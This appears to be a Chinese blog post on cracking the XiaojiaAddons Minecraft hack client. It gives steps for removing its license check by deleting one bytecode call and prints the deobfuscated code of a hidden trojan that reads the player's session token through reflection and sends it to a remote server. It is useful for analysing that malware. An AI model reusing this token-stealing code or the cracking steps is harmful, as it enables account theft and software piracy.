本文章没有找到对应的语言版本

Step 1: 将XiaojiaAddons扔进Recaf

XJA并没有使用rename转换器，且混淆极其简单，甚至只对字符串和数字进行了加密
然后我们注意到，这是Superblaubeere写的混淆器例子，在GitHub上开源
因此我们只需要谷歌搜索Java Deobfuscator，随便下载一个，就可以对此黑客端进行完全的反混淆，再用ForgeFlower反编译即可IDEA Ready
但因为此黑客端保护实在太弱，如果只需要删除验证和木马，我们没有必要进行反混淆

Step 2: 在com/xiaojia/xiaojiaaddons/XiaojiaAddons类中，找到preInit方法中的ClientSocket.connect();
Step 3: 直接删除这行字节码即可破解 & 不受盗号木马影响

INVOKESTATIC com/xiaojia/xiaojiaaddons/Features/Remote/ClientSocket.connect()V

盗号木马代码欣赏(已反混淆)

pattern = Pattern.compile("^\\{" + "\"type\": \"(.*)\"}$");
matcher = pattern.matcher(s);
if(matcher.find())
{
    int type = Integer.parseInt(matcher.group(1));
    if(type == 69)
    {
        new Thread(() - >
        {
            String message = "FYI: I only use this for those who didn't buy xja but still deobfuscate to use this client, such as you. " + "I never use this to rat people.";
            Field field;
            String account = "";
            try
            {
                try
                {
                    field = Session.class.getDeclaredField("token");
                }
                catch (NoSuchFieldException e)
                {
                    field = Session.class.getDeclaredField("field_148258_c");
                }
                field.setAccessible(true);
                String token = (String) field.get(SessionUtils.getSession());
                account = "token:" + token + ":" + SessionUtils.getUUID();
            }
            catch (Exception e)
            {
                account = "null";
            }
            ClientSocket.chat(String.format("{\"uuid\": \"%s\", \"name\": \"%s\", \"session\": \"%s\", \"type\": \"%d\"}", SessionUtils.getUUID(), SessionUtils.getName(), account, 69));
        }).start();
    }
    continue;
}

XJA验证混淆强度欣赏

try
{
    block47:
    {
        ClientSocket.authenticate();
        int var1 = lIIIlIIIlllII[1];
        do {
            int var10;
            String var9;
            String var8;
            String var7;
            StringBuilder var2 = new StringBuilder();
            int var3 = in.read();
            if(ClientSocket.lIlIIllIIIIlII(var3, lIIIlIIIlllII[2]))
            {
                "".length();
                if((0x9B ^ 0x9F) <= -" ".length())
                {
                    return;
                }
                break block47;
            }
            if(ClientSocket.lIlIIllIIIIlIl(var1))
            {
                var1 = lIIIlIIIlllII[0];
            }
            while(ClientSocket.lIlIIllIIIIllI((char) var3, lIIIlIIIlllII[3]))
            {
                var2.append((char) var3);
                "".length();
                var3 = in.read();
                if(!ClientSocket.lIlIIllIIIIlII(var3, lIIIlIIIlllII[2])) continue;
                return;
            }
            String var4 = String.valueOf(var2);
            var4 = XiaojiaAddons.cipherUtils.decrypt(var4);
            Pattern var5 = Pattern.compile(lIIIlIIIIIIII[lIIIlIIIlllII[1]]);
            Matcher var6 = var5.matcher(var4);
            if(ClientSocket.lIlIIllIIIIlIl(var6.find() ? 1 : 0))
            {
                var7 = var6.group(lIIIlIIIlllII[1]);
                var8 = var6.group(lIIIlIIIlllII[4]);
                var9 = var6.group(lIIIlIIIlllII[5]);
                var10 = Integer.parseInt(var6.group(lIIIlIIIlllII[6]));
                if(ClientSocket.lIlIIllIIIIlll($assertionsDisabled ? 1 : 0) && ClientSocket.lIlIIllIIIIlIl(var10) && ClientSocket.lIlIIllIIIIllI(var10, lIIIlIIIlllII[1]) && ClientSocket.lIlIIllIIIIllI(var10, lIIIlIIIlllII[4]))
                {
                    throw new AssertionError();
                }
                ChatLib.xjchat(var10, var8, var9);
                "".length();
                if((0x50 ^ 0x54) < 0)
                {
                    return;
                }
...